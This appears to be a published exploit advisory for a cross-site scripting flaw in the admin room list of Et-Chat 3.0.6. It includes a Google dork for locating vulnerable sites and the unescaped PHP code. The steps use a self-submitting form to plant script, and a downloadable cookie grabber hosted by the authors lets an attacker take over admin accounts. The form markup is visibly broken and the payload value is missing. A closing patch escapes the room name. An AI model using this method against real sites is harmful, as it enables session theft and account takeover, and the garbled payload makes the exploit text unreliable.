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Et-Chat 3.0.6 Cross Site Scripting

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# Exploit Title: Et-Chat 3.0.6 Cross Site Scripting Vulnerability

# Google Dork: "ET-Chat v3.0.6"

# Date: 2015-03-20

# Exploit Author: IranHack Security Team

# Tested on: Windows 7

# Vendor : Www.Et-chat.Ir

# Our Website : Www.IranHack.Org


Vulnerable code :

Location : /etchat/class/admin/AdminRoomsIndex.class.php

Code :

if (is_array($feld)){
$print_room_list = "<table>";
foreach($feld as $datasets){
if ($datasets[0]!=1)
$print_room_list.= "<tr><td><b>".$datasets[1]."</b></td><td>   </td><td><a href=\"./?AdminDeleteRoom&id=".$datasets[0]."&cs4rue=".$_SESSION['etchat_'.$this->_prefix.'CheckSum4RegUserEdit']."\">".$lang->delete[0]->tagData."</a></td><td><a href=\"./?AdminEditRoom&id=".$datasets[0]."\">".$lang->rename[0]->tagData."</a></td><td>   <i>".$lang->room_priv[$datasets[2]]->tagData."</i></td></tr>";
$print_room_list.= "<tr><td><b>".$datasets[1]."</b></td><td>   </td><td style=\"color: #888888;\"><strike>".$lang->delete[0]->tagData."</strike></td><td><a href=\"./?AdminEditRoom&id=".$datasets[0]."\">".$lang->rename[0]->tagData."</a></td><td>   <i>".$lang->room_priv[$datasets[2]]->tagData."</i></td></tr>";
$print_room_list.= "</table>";


Description :

This vulnerability allows attacker to grab admin cookie and login with admin account

The reason of this vulnerability is that values of the room list ( ".$datasets[1]." ) is not filtered and

allows attacker to run javascript code.


Exploit :

1- Upload this page in a host or Set this code in a html page :

<form name="exploit" action="http://target.com/etchat/?AdminCreateNewRoom"

<input type="hidden" name="room"


" />
<script>document.exploit.submit(); </script>

2- Give the uploaded html page address to admin.

3- after opening this page by admin , cookies are logged in Log.txt


grabber.php : http://up.iranhack.org/uploads/lquswjwo06vrxz1fe4oo.zip


Patch :

If u wanna patch this bug , go to file " /etchat/class/admin/AdminRoomsIndex.class.php "

Replace this codes : ".$datasets[1]."

With this code : ".htmlspecialchars($datasets[1])."


Greetz :

Mr.XpR , V30Sharp , AL1R3Z4 , Secret.Walker , Irblackhat , FarbodEZRaeL , black-sec , Mr.X2 , @3is , IR4N0nY , , 0x8F , Amirio , 3cure , FTA_Boy , Mr.FixXxer



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